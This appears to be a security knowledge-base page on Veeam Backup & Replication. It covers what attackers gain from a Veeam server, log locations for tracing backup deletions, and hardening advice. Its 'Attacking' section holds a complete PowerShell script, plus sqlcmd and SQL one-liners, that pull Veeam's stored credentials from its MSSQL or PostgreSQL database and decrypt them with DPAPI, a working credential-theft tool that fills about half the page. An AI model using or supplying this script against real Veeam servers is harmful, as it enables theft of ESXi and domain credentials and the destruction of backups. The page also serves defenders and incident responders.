Veeam
What Is?
Veeam is a backup tool the allows the backing up and storage of data in online and offline backups.
Threat Actor Value:
Stores credentials of hosts that it uses to authenticate to and backup.
Could potentially allow a TA to steal ESXi credentials from a Veeam host.
Could store images of DCs, allowing a TA to mount and extract NTDS.dit.
These images can be encrypted and require a password to decrypt and mount.
Shows locations of offline backups and possibly ESXi hosts.
Can be used to discover these important hosts.
Allows a TA to delete backups to hinder recovery process.
File Location:
C:\ProgramData\Veeam\Backup\Svc.VeeamCatalog.log
will have "[CRemoveBackupCmd]" line with clear BackupRef following. Using that you can get exact timestamp when Delete From Disk was initiated for backup you are missing.C:\ProgramData\Veeam\Backup\Satellites\
you can find who exactly was logged on to your VBR server at said timestampFinally, there is a log at user console machine(or VBR server if logged on locally)
C:\Users\UserName\AppData\Local\Veeam\Console
that tracks every single click user does, including "[Backup] Delete" with clear ID of deleted backup too.
Parse Data:
Considerations:
By default, grants local administrators on host administrative privileges to Veeam.
By default, Veeam wants to allow SYSTEM to access mssql or postgress.
Analysis Tips:
Attacking:
Credential Dumping:
$DBProduct = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations").SqlActiveConfiguration
# Add EncryptionSalt value from registry HKLM\SOFTWARE\Veeam\Veeam Backup and Replication\Data
$saltbase = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\Data").EncryptionSalt
if ($DBProduct -eq "Mssql")
{
#Get SQL configuration
$SQLConfiguration = Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations\MsSql"
$SQLServer = $SQLConfiguration.SqlServerName
$SQLInstance = $SQLConfiguration.SqlInstanceName
$SQLDB = $SQLConfiguration.SqlDatabaseName
$SQLConnection = $SQLServer + "\" + $SQLInstance
$sqlquery="SELECT user_name,password from dbo.Credentials"
$Connection = New-Object System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "server='$SQLConnection';database='$SQLDB';trusted_connection=false; integrated security='true'"
$Connection.Open()
$command = $Connection.CreateCommand()
$command.CommandText = $sqlquery
$Datatable = New-Object "System.Data.Datatable"
$result = $command.ExecuteReader()
$Datatable.Load($result)
$Result=$Datatable
}
else
{
#If postgreSQL
#Get PostgreSQL configuration
$PostgreSQLConfiguration = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations\PostgreSql")
$PostgreUser = $PostgreSQLConfiguration.SQLUsername
$PostgreSecPassword = (Get-Credential -Message "Enter password for user $PostgreUser" -UserName $PostgreUser)
$PostgrePassword = $PostgreSecPassword.GetNetworkCredential().Password
$PostgrePort = $PostgreSQLConfiguration.SqlHostPort
$PostgreDatabase = $PostgreSQLConfiguration.SqlDatabaseName
$PostgreQuery = "SELECT user_name,password,description,change_time_utc FROM credentials"
$dburl = "postgresql://$($PostgreUser):$PostgrePassword@localhost:$PostgrePort/$PostgreDatabase"
$Result = $PostgreQuery | & "C:\Program Files\PostgreSQL\15\bin\psql" --csv $dburl | ConvertFrom-Csv
}
#Decrypt password
Foreach ($account in $result)
{
$Name = $account.user_name
$Password = "<N/A>"
if ($account.password -like "AQAA*")
{
$context = $account.password
Add-Type -AssemblyName 'system.security'
$data = [Convert]::FromBase64String($context)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$Password = [System.Text.Encoding]::UTF8.Getstring($raw)
}
if ($account.password -like "VmVlY*")
{
# Add encrypted value from the configuration database with single quotes. ('value' not '"value"')
$context = $account.password
# Make no changes below this line
Add-Type -AssemblyName System.Security
$salt = [System.Convert]::FromBase64String($saltbase)
$data = [System.Convert]::FromBase64String($context)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($data.Length * 2)
foreach ($byte in $data) {$hex.AppendFormat("{0:x2}", $byte) > $null}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$data = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2) {$data[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)}
$securedPassword = [System.Convert]::ToBase64String($data)
$data = [System.Convert]::FromBase64String($securedPassword)
$local = [System.Security.Cryptography.DataProtectionScope]::LocalMachine
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $salt, $local)
$Password = [System.Text.Encoding]::UTF8.Getstring($raw)
}
[PSCustomObject]@{
Name = $Name
Password = $Password
}
}
Script Output:

Sqlcmd:
If the database is a MSSQL database, credentials can be dumped with SQLCmd.
"C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\130\Tools\Binn\sqlcmd.exe" -S localhost,51341 -E -y0 -Q "SELECT TOP (1000) [id],[user_name],[password],[usn],[description],[visible],[change_time_utc]FROM [VeeamBackup].[dbo].[Credentials];"
SQL Query:
SELECT TOP (1000) [id]
,[user_name]
,[password]
,[usn]
,[description]
,[visible]
,[change_time_utc]
FROM [VeeamBackup].[dbo].[Credentials]
Defending:
Enable MFA authentication for Veeam.
Do not domain join the Veeam server.
This allows a lot of entry points into it.
Segregate Veeam to a maintenance network.
Encrypt backups to prevent access to sensitive data without proper authentication.
Save backups in offline storage to prevent access and deletion.
Offline storages should pull and not push when it comes to downloading data.
This method only allows the offline storage to access the backup hosts and not the other way around.
Last updated